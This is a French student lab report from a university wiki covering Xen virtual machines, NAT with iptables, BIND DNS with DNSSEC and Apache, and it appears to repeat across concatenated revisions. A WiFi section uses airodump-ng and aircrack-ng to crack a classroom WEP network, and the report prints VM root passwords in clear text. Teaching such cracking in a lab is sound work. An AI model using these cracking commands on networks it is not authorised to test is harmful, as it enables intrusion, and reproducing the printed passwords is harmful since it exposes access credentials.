<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T13:49:55Z

Cpayet : /* Etape 1 : Connexion SSH */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT

ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3

==== Effraction WiFi ====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme wlan1.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

sudo airodump-ng wlan1

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:54 -c4 --write log_airodump</code>

Et ensuite après avir récuperer 5000 data :

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:54 log_airodump-01.cap</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T13:41:41Z

Cpayet : /* Compte rendu des commandes effectués */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT

ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3

==== Effraction WiFi ====
Avec ip link je vois que l'interface wifi se nomme wlan1.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

sudo airodump-ng wlan1

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:54 -c4 --write log_airodump</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
